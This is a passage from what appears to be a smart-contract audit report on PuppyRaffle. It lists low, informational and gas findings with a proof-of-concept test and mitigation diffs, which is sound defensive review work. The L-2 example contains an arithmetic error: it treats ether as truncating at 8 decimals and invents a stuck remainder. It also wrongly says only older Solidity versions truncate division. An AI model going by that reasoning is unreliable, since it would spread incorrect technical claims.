A more elegant solution is to return an `int256`, in which the function returns -1 if the player is not active.

[L-2] Precision Loss in the `PuppyRaffle::selectWinner` Division Causes Undistributed Funds to Remain Stuck

Description:

In the `PuppyRaffle::selectWinner` function, the prize pool and fee amounts are calculated using integer division:

```
1 uint256 prizePool = (totalAmountCollected * 80) / 100;
2 uint256 fee = (totalAmountCollected * 20) / 100;
```

Due to older Solidity versions truncating the result of division, any remainder from the division by 100 is discarded. This remainder represents a small amount of wei that is neither sent to the winner nor accounted for in `PuppyRaffle::totalFees`. Over multiple raffles, these dust amounts accumulate and remain permanently locked in the contract.

Impact:

This precision loss has a two-fold impact. First, while the per-raffle loss is tiny (less than 100 wei), it accumulates with each raffle and cannot be recovered by anyone (including the winner, fee recipient, and owner). Second, the sum of `prizePool` and `fee` may be slightly less than `totalAmountCollected`, causing a minor but permanent discrepancy in the contract's balance tracking.

Proof of Concept:

Consider a raffle with 5 players and entranceFee = 1 ether:

1. totalAmountCollected = 5 ether

2. prizePool = (5 * 80) / 100 = 4 ether
3. fee = (5 * 20) / 100 = 1 ether
4. Total distributed = 5 ether (no remainder).

Now consider 3 players:

1. totalAmountCollected = 3 ether
2. prizePool = (3 * 80) / 100 = 2.4 ether
3. fee = (3 * 20) / 100 = 0.6 ether
4. Total distributed = 3 ether (no remainder).

However, if the entrance fee is not a round multiple of 100 wei, remainder exists. For example, entranceFee = 1.23456789 ether and 4 players:

1. totalAmountCollected = 4.93827156 ether
2. prizePool = (4.93827156 * 80) / 100 = 3.95061724 ether (truncated)
3. fee = (4.93827156 * 20) / 100 = 0.98765431 ether (truncated)
4. sum = approximately 4.93827155 ether, leaving 0.00000001 ether stuck.

Recommended Mitigation:

Use a more precise distribution method that allocates all funds to ensure no dust remains in the contract. For example, calculate the fee first and assign the remainder to the prize pool:

```
uint256 fee = (totalAmountCollected * 20) / 100;
uint256 prizePool = totalAmountCollected - fee;
```

[L-3] Winner Selection in `PuppyRaffle::selectWinner` May Result in Zero Address Winner, Causing Revert and Unfair Delays

Description:

The `PuppyRaffle::selectWinner` function computes the winner index using modulo division with a pseudo-random number and `players.length`. If a player has previously received a refund on their entry, their slot in the players array is set to `address(0)`. The length of the array remains unchanged, so the modulo operation can select an index that contains a mapping to `address(0)`. If the winner index contains an `address(0)` mapping, the contract will proceed to do take two actions: sending the prize pool and minting the NFT. It would first send `prizePool` wei to `address(0)`, which would succeed if executed, but before that, the subsequent call to `_safeMint(address(0), tokenId)` reverts the entire transaction due to having a zero address. Thus, no ETH is burned; instead, the transaction fails.

```
uint256 winnerIndex =
    uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp,
        block.difficulty))) % players.length;
address winner = players[winnerIndex];
```

Impact:

There are two impacts that result from this erroneous logic: unfair outcome and denial of service. First, the raffle's fairness is compromised because the selection mechanism can result in an invalid winner, requiring manual intervention or repeated attempts. Second, however less likely, an attacker can flood the raffle with new entries (then shortly after receive refunds), which can cause a high likelihood of choosing a `address(0)` winner after multiple retries. The transaction can be retried with a different `msg.sender` or after some blocks (changing `block.timestamp` and `block.difficulty`), but repeated failures may frustrate users and delay the raffle conclusion.

To summarize, this vulnerability manifests in two distinct ways, depending on the ratio of refunded (or malicious) players to honest players. The table below captures the severity for these key findings:

Scenario	Condition	Outcome	Severity
Raffle Unfairness	The presence of refunded players (e.g., 1–2 per raffle).	Selection mechanism can result in an invalid winner; requires manual intervention or repeated attempts.	**Low**
Denial of Service	Attacker refunds a large number of entries, creating more invalid entries than valid ones.	`selectWinner` reverts indefinitely, locking all funds. This requires a higher capital investment from the attacker.	**Low**

Proof of Concept:

1. Four players enter the raffle.
2. One player calls refund on their own index, setting that slot to address(0).
3. The raffle duration elapses.
4. A user calls `selectWinner`. The computed `winnerIndex` may equal the refunded index.
5. The transaction attempts to send ETH to address(0) and mint an NFT to address(0), causing the call to revert.

Code

```
function testSelectWinnerWithRefundedSlot() public {
    uint256 playersNum = 4;
    address[] memory players = new address[](playersNum);
    for (uint i = 0; i < playersNum; i++) {
        players[i] = makeAddr(string(abi.encodePacked("player", vm.
            toString(i))));
    }
    puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);

    // Player at index 1 refunds
    vm.prank(players[1]);
    puppyRaffle.refund(1);

    vm.warp(block.timestamp + duration + 1);
    // If winnerIndex == 1, this will revert
    puppyRaffle.selectWinner();
}
```

Recommended Mitigation:

There are a few recommendations: 1. Skip zero addresses during winner selection. Loop until a non-zero address is found, or re-roll the random index as such:

```
    uint256 winnerIndex;
    address winner;
    do {
        winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender,
            block.timestamp, block.difficulty, winnerIndex))) % players.
            length;
        winner = players[winnerIndex];
    } while (winner == address(0));
```

2. Maintain an accurate count of active players (as recommended in [H-1]) and only consider active indices for selection. This eliminates the possibility of selecting a refunded slot entirely.
3. Use the “swap-and-pop” array removal method to keep the array clean and updated as such:

```
    function refund(uint256 index) public {
        require(players[index] == msg.sender, "Only the player can
            refund");

        payable(msg.sender).sendValue(entranceFee);

        uint256 last = players.length - 1;
        if (index != last) players[index] = players[last];
        players.pop();
    }
```

Informational

[I-1]: Unspecific Solidity Pragma

Consider using a specific version of Solidity in the contracts instead of a wide version. For example, instead of `pragma solidity ^0.7.6;`, use `pragma solidity 0.7.6;`

- Found in src/PuppyRaffle.sol Line: 2

[I-2] Using An Outdated Version of Solidity Is Not Recommended

`solc` frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. It is also recommended to avoid complex pragma statements.

Recommendation:

Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues. Please see slither documentation for more information.

[I-3]: Address State Variable Set Without Checks

Check for `address(0)` when assigning values to address state variables.

- Found in src/PuppyRaffle.sol Line: 130
- Found in src/PuppyRaffle.sol Line: 168
- Found in src/PuppyRaffle.sol Line: 150

[I-4] `PuppyRaffle::selectWinner` Does Not Follow CEI, Which is Not a Best Practice

It is best practice to keep code clean and follow CEI (Checks, Effects, Interactions).

```
1 -       (bool success,) = winner.call{value: prizePool}("");
2 -       require(success, "PuppyRaffle: Failed to send prize pool to
    winner");
3         _safeMint(winner, tokenId);
4 +       (bool success,) = winner.call{value: prizePool}("");
5 +       require(success, "PuppyRaffle: Failed to send prize pool to
    winner");
```

[I-5] Use of "Magic" Numbers is Discouraged for Better Readability and Maintainability

It can be confusing to see number literals in a codebase, and it is much more readable if the numbers are given a descriptive and meaningful name.

```
+      uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
+      uint256 public constant FEE_PERCENTAGE = 20;
+      uint256 public constant POOL_PRECISION = 100;
.
.
.
       function selectWinner() external {
         ...
-        uint256 prizePool = (totalAmountCollected * 80) / 100;
-        uint256 fee = (totalAmountCollected * 20) / 100;
+        uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE) / POOL_PRECISION;
+        uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) / POOL_PRECISION;
         ...
       }
```

[I-6] State Changes Are Missing Events

Description:

Several functions in the `PuppyRaffle` contract modify critical state variables without emitting events. Events are essential for off-chain monitoring, allowing users and services (such as indexers or front-end applications) to track protocol activity efficiently.

The following state-changing operations lack corresponding event emissions:

Function	State Changes Without Events
`selectWinner()`	Updates `totalFees`, `raffleStartTime`, `previousWinner`, resets `players` array, mints NFT, sends ETH prize.
`withdrawFees()`	Resets `totalFees` to `0` and transfers ETH to `feeAddress`.

Impact:

The lack of state change monitoring via event emissions have three distinct impacts. First, users and external tools cannot easily track when a winner is selected, fees are withdrawn, or the raffle resets,

which reduces transparency and user trust. Second, applications must rely on polling or complex transaction tracing to detect state updates, increasing latency and development effort. Third, security monitoring services cannot efficiently watch for anomalous fee withdrawals or winner selections.

Proof of Concept:

Review the `selectWinner()` and `withdrawFees()` functions to see that no `emit` statements are present for the state changes described above.

```
// In selectWinner()
totalFees = totalFees + uint64(fee);        // No event
delete players;                             // No event
raffleStartTime = block.timestamp;          // No event
previousWinner = winner;                    // No event

// In withdrawFees()
totalFees = 0;                              // No event
```

Recommended Mitigation:

For consistency, ensure all state-changing functions emit at least one event describing the change. Add dedicated events for each meaningful state transition as such:

```
event WinnerSelected(address indexed winner, uint256 prizePool, uint256 tokenId);
event FeesWithdrawn(address indexed feeAddress, uint256 amount);

function selectWinner() external {
    // ... existing logic ...
    emit WinnerSelected(winner, prizePool, tokenId);
}

function withdrawFees() external {
    // ... existing logic ...
    emit FeesWithdrawn(feeAddress, feesToWithdraw);
}
```

[I-7] Zero Address May Be Erroneously Considered an Active Player

Description:

The `refund` function removes active players from the `players` array by setting the corresponding slots to zero. This is confirmed by its documentation, stating that “This function will allow there to be blank spots in the array”. However, this is not taken into account by the `getActivePlayerIndex` function. If someone calls `getActivePlayerIndex` passing the zero address after there’s been a refund, the function will consider the zero address an active player, and return its index in the `players` array.

Recommended Mitigation:

Skip zero addresses when iterating the `players` array in the `getActivePlayerIndex`. Do note that this change would mean that the zero address can *never* be an active player. Therefore, it would be best if you also prevented the zero address from being registered as a valid player in the `enterRaffle` function.

[I-8] Test Coverage

Description:

The test coverage of the tests are below 90%. This often means that there are parts of the code that are not tested.

```
| File                                | % Lines        | % Statements
   | % Branches     | % Funcs       |
| ----------------------------------- | -------------- | --------------
   | -------------- | ------------- |
| script/DeployPuppyRaffle.sol        | 0.00% (0/3)    | 0.00% (0/4)
   | 100.00% (0/0)  | 0.00% (0/1)   |
| src/PuppyRaffle.sol                 | 82.46% (47/57) | 83.75% (67/80)
   | 66.67% (20/30) | 77.78% (7/9)  |
| test/auditTests/ProofOfCodes.t.sol  | 100.00% (7/7)  | 100.00% (8/8)
   | 50.00% (1/2)   | 100.00% (2/2) |
| Total                               | 80.60% (54/67) | 81.52% (75/92)
   | 65.62% (21/32) | 75.00% (9/12) |
```

Recommended Mitigation:

Increase test coverage to 90% or higher, especially for the `Branches` column.

[I-9] `PuppyRaffle::_isActivePlayer` Is Never Used & Should Be Removed, Wasting Gas

Description:

The function `PuppyRaffle::_isActivePlayer()` is defined in the `PuppyRaffle` contract but is never called internally or externally. This is dead code that unnecessarily increases the contract's bytecode size and deployment gas cost.

Impact:

By including unused functions, it increases the bytecode size, which directly raises deployment costs. While the per-byte cost is modest, removing dead code is a zero-cost optimization.

To add on, dead functions clutter the codebase and may confuse future auditors or developers, leading to wasted time during reviews.

Proof of Concept:

Search the entire contract and see that `_isActivePlayer` is only defined and never invoked.

```
/// @notice this function will return true if the msg.sender is an
    active player
function _isActivePlayer() internal view returns (bool) {
    for (uint256 i = 0; i < players.length; i++) {
        if (players[i] == msg.sender) {
            return true;
        }
    }
    return false;
}
```

Recommended Mitigation:

Remove the unused function entirely. If the team anticipates needing this functionality later, it can be reintroduced in a subsequent upgrade. For immediate gas optimization, deletion is recommended.

Gas

[G-1] Unchanged State Variables Should Be Declared Constant Or Immutable

Reading from storage is much more expensive than reading from a constant or immutable variable.

Instances: - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::rareImageUri` should be `constant` - `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage Variables in a Loop Should Be Cached

Each time a loop uses `players.length`, it reads it from storage (instead of reading from memory), which is more gas inefficient.

```
+       uint256 playersLength = players.length;
-       for (uint256 i = 0; i < players.length - 1; i++) {
+       for (uint256 i = 0; i < playersLength - 1; i++) {
-           for (uint256 j = i + 1; j < players.length; j++) {
+           for (uint256 j = i + 1; j < playersLength; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
            }
        }
```